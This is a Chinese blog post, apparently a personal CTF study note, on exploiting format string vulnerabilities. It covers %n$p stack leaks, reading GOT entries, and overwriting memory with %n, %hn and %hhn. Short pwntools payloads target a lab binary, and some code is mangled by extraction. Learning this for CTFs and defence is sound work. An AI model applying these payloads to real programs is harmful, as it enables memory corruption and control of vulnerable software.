格式化字符串
格式化字符串
写的大多时候都是迷糊的,一般都是一边写一边去找教程;知道这样不可,所以选择整理一下
格式化字符串
1 | %[parameter][flags][field width][.precision][length]type |
关注一下在ctf中需要利用的参数
- parameter
- n$,获取格式化字符串中的指定参数;像是:,获取格式化字符串中的指定参数;像是:%3$p 如此。
- length
- hhn,一个字节
- hn,双字节
- n,4个字节
- type
- x/X,十六进制输出
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
已经使用过的方式
aaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p;利用这种方式可以确定aaaa位置是格式化字符串的第几个参数。
%3$p,%3$x;%n$p;这个利用方式是,数字代表是相对于输出函数来讲是第几个参数,而相对于格式化字符串来说就是第n-1个参数。这里输出的内容是对应参数的地址。
%3$;s;%n$s;这种利用方式来获取对应参数的内容,但是存在零截断的问题。
addr%k$s;用来获取栈上指定参数的内容;如下:
1
payload = p32(__isoc99_scanf_got) + '%4$s'
上述payload会将scanf的got表打印出来,但是不能获取got表中存储的内容。
覆盖任意栈上内存:
前面的addr of c就是我们栈上准备写入的地址,32位本身为4个字节加上中间的%012d占位,即是变成了16个字符,即是向c的地址中写入了16。
1
2...[overwrite addr]....%[overwrite offset]$n
[addr of c]%012d%6$n
覆盖任意非栈上内存(小数字):
利用下面的exp理解;本身我们输入的数据是输出的第五个参数,以4个字节为长度,则aa%8是第6个参数,$naa是第7个参数,则我们在后面跟上的a的地址就成为了第8个参数。
```python
def fora():sh = process('./overwrite') a_addr = 0x0804A024 payload = 'aa%8$naa' + p32(a_addr) sh.sendline(payload) print sh.recv() sh.interactive() 本身我们输入的字符是输出函数的第五个参数
1
2
3
4
5
6
7
- 覆盖任意非栈上内存(大数字):采用分单字节写入
- 利用下面的payload理解;第一个地址为输出函数的第6个参数,以此类推后面三个地址就是7、8、9个参数;其中pad1是为了满足向第一个地址写入对应的数值;由于是采用小端序,所以0x12345678在下面四个地址存储的顺序应该是0x12
- ```python
p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$hhn'+pad2+'%7$hhn'+pad3+'%8$hhn'+pad4+'%9$hhn'
- 本文标题:格式化字符串
- 本文作者:LOLOLO
- 创建时间:2022-02-06 12:03:21
- 本文链接:https://lololo-pwn.github.io/2022/02/06/格式化字符串/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
评论